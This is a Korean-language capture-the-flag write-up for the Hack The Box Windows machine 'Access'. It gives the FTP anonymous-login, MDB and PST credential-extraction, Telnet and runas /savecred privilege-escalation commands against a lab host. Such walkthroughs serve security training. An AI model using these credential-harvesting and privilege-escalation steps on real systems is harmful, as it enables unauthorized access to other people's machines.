링크: https://app.hackthebox.com/machines/Access 난이도: Easy OS: Windows


공격 흐름 (Attack Flow)

Nmap 스캔 (FTP, Telnet, HTTP)
  → FTP 익명 접속
    → backup.mdb / Access Control.zip 다운로드
      → mdb-tables로 테이블 열거
        → 패스워드 추출
          → ZIP 압축 해제 → PST 파일
            → Outlook PST에서 크리덴셜 발견
              → Telnet 접속 (user.txt)
                → cmdkey 저장 크리덴셜 발견
                  → runas /savecred로 관리자 명령 실행

1. Recon

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
23/tcp open  telnet  Microsoft Windows XP telnetd
80/tcp open  http    Microsoft IIS httpd 7.5

2. FTP 익명 접속

ftp 10.10.10.98
# anonymous / 빈 패스워드로 접속
 
ftp> passive
ftp> bin
ftp> get backup.mdb
ftp> get "Access Control.zip"

3. backup.mdb 분석

.mdb 파일은 Microsoft Access 2003 이하 버전의 데이터베이스 파일이다.

# 테이블 목록 열거
mdb-tables backup.mdb
 
# 특정 테이블 내용 확인
mdb-json backup.mdb auth_user

auth_user 테이블에서 패스워드 발견 → ZIP 파일 암호 해제에 사용


4. PST 파일에서 크리덴셜 추출

# 7z로 암호화된 ZIP 해제 (AES 암호화이므로 7z 필요)
7z x "Access Control.zip"

추출된 .pst 파일을 readpst로 분석:

readpst "Access Control.pst"

이메일에서 크리덴셜 발견


5. Telnet 접속

telnet 10.10.10.98
# 발견한 크리덴셜로 로그인

user.txt 획득


6. 권한 상승 — Saved Credentials (cmdkey)

cmdkey /list

Administrator 계정의 크리덴셜이 Windows Credential Manager에 저장되어 있는 것 발견

runas /user:ACCESS\Administrator /savecred "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

cmdkey로 저장된 크리덴셜은 /savecred 옵션으로 비밀번호 입력 없이 재사용 가능하다.


핵심 취약점 요약

취약점설명
FTP Anonymous Login인증 없이 파일 다운로드
Plaintext Password in DBMDB 파일에 평문 패스워드 저장
Saved Credentialscmdkey로 관리자 크리덴셜 재사용

htb windows ftp cmdkey runas